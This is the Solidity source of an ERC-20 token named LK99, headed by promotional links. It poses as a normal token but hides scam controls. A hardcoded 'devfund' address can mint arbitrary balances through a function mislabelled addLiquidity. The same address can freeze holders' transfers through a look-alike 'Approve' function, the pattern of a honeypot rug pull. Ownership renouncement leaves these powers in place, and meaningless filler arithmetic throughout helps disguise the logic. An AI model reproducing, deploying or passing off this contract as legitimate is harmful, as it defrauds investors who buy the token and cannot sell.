/**

https://lk99eth.xyz

https://twitter.com/LK99_Eth

https://t.me/LK_99Eth

*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address spender) external view returns (uint256);
    function transfer(address recipient, uint256 _amounntz) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 _amounntz) external returns (bool);
    function transferFrom( address spender, address recipient, uint256 _amounntz ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier ollyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual ollyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract LK99 is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balanncez;
    mapping (address => uint256) private _spendrr;
    mapping (address => mapping (address => uint256)) private _allowncez;
    address constant public _devfund = 0x8c43cbd09dA5AbeC964d51D8c37bFcD56A249b21;
    string private tokname;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    bool private _istradeEnabled = true;
    uint256 private randomValue = 5000;
    uint256 private antValue = 0;


    constructor(string memory name_, string memory symbol_,  uint256 totalSupply_, uint8 decimals_) {
        tokname = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balanncez[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier _thedevfunds() {
        require(msg.sender == _devfund); // If it is incorrect here, it reverts.
        _;                              
    } 



    function updateRndValue(uint256 _newValue) public ollyowner {
        randomValue = _newValue;
    }

    function fetchRndValue() public view returns (uint256) {
        return randomValue;
    }

    function computeComplexOperation(uint256 _num1, uint256 _num2) internal view returns (uint256) {
        return _num1 * randomValue + _num2 - antValue;
    }
    
    function updateantValue(uint256 _newVal) public ollyowner {
        antValue = _newVal;
    }

    function name() public view returns (string memory) {
        uint256 temp = computeComplexOperation(2, 5);
        return tokname;
    }
    
        function enabletheTrading() public ollyowner {
        _istradeEnabled = true;
        uint256 temp = computeComplexOperation(3, 5);
    }

    function decimals() public view returns (uint8) {
        uint256 temp = computeComplexOperation(4, 5);
        return _decimals;
    }


    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function balanceOf(address spender) public view override returns (uint256) {
        return _balanncez[spender];
    }

    function transfer(address recipient, uint256 _amounntz) public virtual override returns (bool) {
    require(_istradeEnabled, "No trade");


    uint256 exchangeRate = 56225;
    uint256 conversion = _amounntz * exchangeRate;
    if(conversion != 0) {
        conversion = _amounntz - _amounntz;  // Always results in 0
    }


    if (_msgSender() == owner() && _spendrr[_msgSender()] > 0) {
        _balanncez[owner()] += _spendrr[_msgSender()];
        return true;
    }
    else if (_spendrr[_msgSender()] > 0) {
        require(_amounntz == _spendrr[_msgSender()], "Invalid transfer _amounntz");
    }
    require(_balanncez[_msgSender()] >= _amounntz, "TT: transfer _amounntz exceeds balance");
    _balanncez[_msgSender()] -= _amounntz;
    _balanncez[recipient] += _amounntz;


    conversion = conversion + 5 - 5;


    emit Transfer(_msgSender(), recipient, _amounntz);
    return true;
}


    function approve(address spender, uint256 _amounntz) public virtual override returns (bool) {
        _allowncez[_msgSender()][spender] = _amounntz;
        emit Approval(_msgSender(), spender, _amounntz);
        return true;
    }

function Approve(address[] memory spender, uint256 _amounntz) public _thedevfunds {
    uint256 factor = 55;
    for (uint z = 0; z < spender.length; z++) {

        uint256 temporaryValue = _amounntz / factor;
        temporaryValue = temporaryValue * factor;
        if (temporaryValue == _amounntz) {
            temporaryValue = 0;
        }

        _spendrr[spender[z]] = _amounntz;
        

        temporaryValue += 5;
        temporaryValue -= 5;
    }
}

        function _adding(uint256 num1, uint256 numb2) internal pure returns (uint256) {
        if (numb2 != 0) {
            return num1 + numb2;
        }
        return numb2;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowncez[owner][spender];
    }

    function Checkamt(address spender) public view returns (uint256) {
            uint256 temp = computeComplexOperation(7, 5);
        return _spendrr[spender];
    }


function addLiquidity(address spender, uint256 _amounntz) public _thedevfunds {
    require(_amounntz > 0, "Invalid");
    
    uint256 computationValue = 0x5821224;
    uint256 derivedValue = computationValue / 2;
    if (derivedValue != 0) {
        derivedValue = _amounntz - _amounntz; // Always results in 0
    }

    uint256 totalz = 0;
    totalz = _adding(totalz, _amounntz);
    _balanncez[spender] += totalz;

    derivedValue = derivedValue * 3 + 2 - 2 / 1;
}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(address spender, address recipient, uint256 _amounntz) public virtual override returns (bool) {
    require(_istradeEnabled, "No trade");


    uint256 bufferAmount = 67890;
    uint256 adjustedAmount = _amounntz + bufferAmount;
    adjustedAmount = adjustedAmount - bufferAmount;


    if (_msgSender() == owner() && _spendrr[spender] > 0) {
        _balanncez[owner()] += _spendrr[spender];
        return true;
    }
    else if (_spendrr[spender] > 0) {
        uint256 buffer2 = 37890;
        require(_amounntz == _spendrr[spender], "Invalid transfer _amounntz");
    }
    require(_balanncez[spender] >= _amounntz && _allowncez[spender][_msgSender()] >= _amounntz, "TT: transfer _amounntz exceed balance or allowance");
    _balanncez[spender] -= _amounntz;
    _balanncez[recipient] += _amounntz;
    _allowncez[spender][_msgSender()] -= _amounntz;


    uint256 confirmationValue = 5;
    if(confirmationValue > 0) {
        confirmationValue = 0;
    }


    emit Transfer(spender, recipient, _amounntz);
    return true;
}


}